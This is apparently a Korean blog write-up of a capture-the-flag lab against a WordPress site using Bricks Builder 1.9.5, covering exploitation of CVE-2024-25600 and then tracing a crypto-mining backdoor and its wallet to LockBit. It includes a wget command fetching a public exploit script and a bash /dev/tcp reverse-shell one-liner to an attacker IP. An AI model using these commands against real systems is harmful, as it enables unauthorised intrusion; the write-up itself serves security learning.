항상 비슷비슷한 패턴의 문제만 풀다가 이번에는 꽤 흥미로웠다.

http가 아닌 https로 접속해야 메인페이지가 보인다.

firefox add-on인 Wappalyzer를 통해 간단하게 웹페이지 구조를 파악할 수 있었다.
WordPress를 사용하고 Page builder로 Bricks라는 것을 사용하고 있다.
WordPress에서 사용할 수 있는 wpscan으로 자세히 확인해보았다.
wpscan --url https://bricks.thm --disable-tls-checks

bricks 1.9.5 버전 구글링해보면 RCE 취약점이 있는 것을 알 수 있다.

wget https://raw.githubusercontent.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT/main/CVE-2024-25600.py
위 명령어로 exploit 코드를 다운받은 뒤 실행해보았다.

너무 간단히 쉘을 땄다. 안정적인 쉘을 얻기 위해 reverse shell를 연결하기로 했다.
평소에는 netcat으로 포트를 열고 bash reverse shell으로 연결했었는데 pwncat이라는 툴을 알게되었고 놀라운 기능에 깜짝놀랐다.

공격지에서 pwncat-cs로 1234번 포트를 열어놓은 모습이다.
pwncat-cs는 pwncat에서 Cobalt Strike와 호환성을 높인 버전이라고 한다.
bash -c 'exec bash -i &>/dev/tcp/10.8.51.29/1234 <&1'
위 명령어로 reverse shell을 연결하면

이렇게 이쁜 쉘을 얻을 수있다.
local은 공격지이고 pwncat에서 제공하는 명령어 중 back을 입력하면 아래와 같이 피해지 명령어쉘로 전환할 수 있다.

강력한 쉘을 얻었으니 이제 문제를 풀어보자!
txt파일은 default폴더에 바로 있어서 cat명령어로 확인한 뒤 첫번째 플래그를 제출했다.
systemctl --type=service --state=running 명령어로 확인해보니 ubuntu.service의 Description이 TRYHACK3M 라고 되어 있다. 누가봐도 의심스러우니 더 자세히 확인해보자.

ExecStart를 보면 해당 service를 실행시킨 파일을 확인할 수 있고 우리는 그 파일을 다운받아 Virustotal에 유해성 검사를 해보려고 한다.
여기서 pwncat의 강력함을 느낄 수 있다.

Ctrl+d로 local로 빠져나온 뒤 download 명령어를 통해 공격지로 아주 손쉽게 파일을 다운받을 수 있다.

조회결과 수많은 벤더에서 악성으로 분류되어 있었고 탐지명 등을 보면 코인 채굴과 관련된 악성코드로 추정된다.
따라서, 2번 문제의 답은? nm-inet-dialog
3번 문제는 해당 프로세스와 연관된 service인 ubuntu.service 이다.
채굴을 하면서 log file이 생성되는가보다. 악성 process가 위치한 폴더를 확인해보자.

악성 프로세스인 nm-inet-dialog 가 마지막으로 수정된 날짜 직후인 inet.conf 파일이 의심스러워 보인다.

4번 문제 클리어~
암호화폐 지갑주소를 알아야하는데 log file 첫줄에 있는 ID가 지갑주소인 것으로 보인다.
근데 길어도 너무 길다. 보통 지갑 주소는 26~35자인데 인코딩되어 있는 것 같다.

CyberChef로 가져와서 반짝거리는 마법봉 버튼을 누르면 자동으로 디코딩이 된다.
base64로 2번 인코딩한 뒤 16진수로 변환됐었던 것으로 보인다.
근데 출력결과를 보면 그래도 address가 길다. 자세히보면 똑같은 문자열이 2번 반복되어 있는 것을 확인할 수 있고 반복을 제거하고 답을 제출하면 성공!
참고로 비트코인 주소가 bc1 로 시작한다.
마지막 문제는 앞서 확인했던 지갑 주소가 어떤 해킹 그룹과 연관되어 있는지 물어보고 있다.
5번 문제에서 알아낸 지갑 주소로 blockchair 라는 사이트를 활용하여 거래를 조회해보았다.

코인이 들어오고 나간 흔적이 보인다. 11 BTC이면..

9억짜리 거래였다.

해당 거래에 대해 자세히 확인해보면 뭔가 개인정보보호이슈가 하나 걸려있어서 점수가 60점이다.
발송인 지갑주소를 구글링 해보았다.

눈에 띄는 포스팅이 보인다. LockBit이라는 매우 유명한 랜섬웨어 그룹에서 사용했던 200개의 지갑이 압수됐다는 내용이다.
따라서 마지막 문제의 답은 LockBit
취약점을 찾아서 서버에 침투한 이후에는 침해사고 조사같은 문제여서 재미있게 풀었다.